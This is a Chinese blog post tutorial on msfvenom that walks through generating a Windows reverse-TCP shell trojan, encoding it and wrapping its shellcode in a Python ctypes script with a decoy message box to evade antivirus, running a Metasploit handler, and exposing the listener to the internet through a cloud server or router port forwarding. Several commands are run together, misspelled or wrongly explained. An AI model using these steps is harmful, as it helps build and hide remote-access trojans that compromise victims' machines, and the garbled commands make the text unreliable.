博客
关于我
msfvenom的使用&免杀&外网渗透
阅读量:587 次
发布时间:2019-03-12

本文共 1826 字,大约阅读时间需要 6 分钟。

msfvenom基本使用指南

作为一名渗透测试爱好者,我对工具的使用有着深入的理解和实践经验。本文将结合自身的技术经验,为大家介绍msfvenom的基本使用方法,涵盖常用payload的查看与使用、编码器的应用、木马生成、免杀技术以及木马的操控等内容。

Payload的查看与使用

在渗透测试中,payload是攻击的核心方案,决定了攻击的方式和目标平台。msfvenom的使用相当直观,可以通过参数-p来设置payload类型,查看具体payload实现如下:

msfvenom -p

通过上述命令,可以看到msfvenom支持的所有payload类型及其对应的平台。例如,windows/x64/shell_reverse_tcp是常用的反向_TCP shell payload。

如果需要查看某个payload的具体实现,可以使用-l参数:

msfvenom -l windows/x64/shell_reverse_tcp

如图所示,可以看到该payload的实现细节。

编码器的使用

为了提高木马免杀的概率,msfvenom提供了多种编码器,可以通过-e参数选择编码方式,如-e x86 --sequence等。此外,-i-b参数也可以用来优化木马的免杀效果。

在实际使用中,推荐使用简单的编码方式如-e x86,因为过于复杂的编码方式容易被杀毒软件检测。

木马生成

木马的核心是通过msfvenom生成可执行的payload,并将其传递到目标机器上。生成木马的命令格式如下:

msfvenom -p {payload类型} -e {编码器} -i {编码次数} -b -o {输出文件名}

其中:

  • {payload类型}: 如windows/x64/shell_reverse_tcp
  • {编码器}: 如x86
  • {编码次数}: 根据需求设置
  • -b: 避免使用特定字符集
  • LHOST: 攻击者的内网IP地址
  • LPORT: 监听端口
  • -f: 指定输出文件类型
  • > {输出文件名}: 指定输出文件

例如,生成一个简单的反向_TCP shell木马:

msfvenom -p windows/x64/shell_reverse_tcp -e x86 -i 1 -b -o shell.exe

如图所示,生成的木马文件已保存为shell.exe

免杀技术

在实际渗透中,免杀是至关重要的一环。msfvenom生成的木马容易被杀毒软件检测和清除。因此,需要通过技术手段对木马进行伪装。

一种常用的方法是通过python脚本对木马进行包装。以下是一个简单的python脚本示例:

import ctypesdef execgo(buf):    # 伪装代码    ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'), u'信息'.encode('gb2312'), 0)if __name__ == '__main__':    execgo(buf)

将生成的木马buf注入到脚本中,并通过pyinstaller打包成可执行文件。

木马操控

在实际操作中,需要通过msfvenom的命令界面进行木马的操控。以下是一个常用的命令示例:

msfconseuse multi/handlerset payload windows/x64/shell_reverse_tcp set LHOST 192.168.101.38 set LPORT 8889 run

运行上述命令后,系统会提示等待目标上线。

路由接口转发(外网渗透)

为了实现外网渗透,需要将木马通过路由接口转发到公网服务器。在实际操作中,可以通过以下方式实现:

方法一: 使用云服务器

直接购买一个云服务器,安装相关工具,并将LHOST设置为公网IP即可。

方法二: 本地路由转发

如果没有资金购买云服务器,可以通过本地路由转发实现。例如,配置寝室路由器的端口转发功能,将本地IP转发到公网IP。

通过上述方法,即可实现内网渗透向外网渗透的升级。

总结

msfvenom作为一款强大的渗透工具,在实际操作中具有广泛的应用场景。本文仅介绍了其基本使用方法,实际使用中需要根据具体需求进行定制和优化。此外,免杀技术和木马操控是渗透测试中的关键环节,需要结合实际环境进行操作。

转载地址:http://cxfxz.baihongyu.com/

你可能感兴趣的文章
包装类
查看>>
JDK9-15新特性
查看>>
集合继承结构
查看>>
LinkedList 实现类
查看>>
Vector 实现类
查看>>
HashMap类、HashSet
查看>>
HashTable类
查看>>
TreeSet、TreeMap
查看>>
ObjectInputStream、ObjectOutputStream
查看>>
JVM内存模型
查看>>
反射机制
查看>>
可变长度参数
查看>>
堆空间常用参数总结
查看>>
3、条件查询
查看>>
5、分组函数 / 聚合函数
查看>>
8、子查询
查看>>
cordova打包apk更改图标
查看>>
开启与配置SMTP服务器
查看>>
APP卡片式设计
查看>>
GitHub上传时,项目在已有文档时直接push出现错误解决方案
查看>>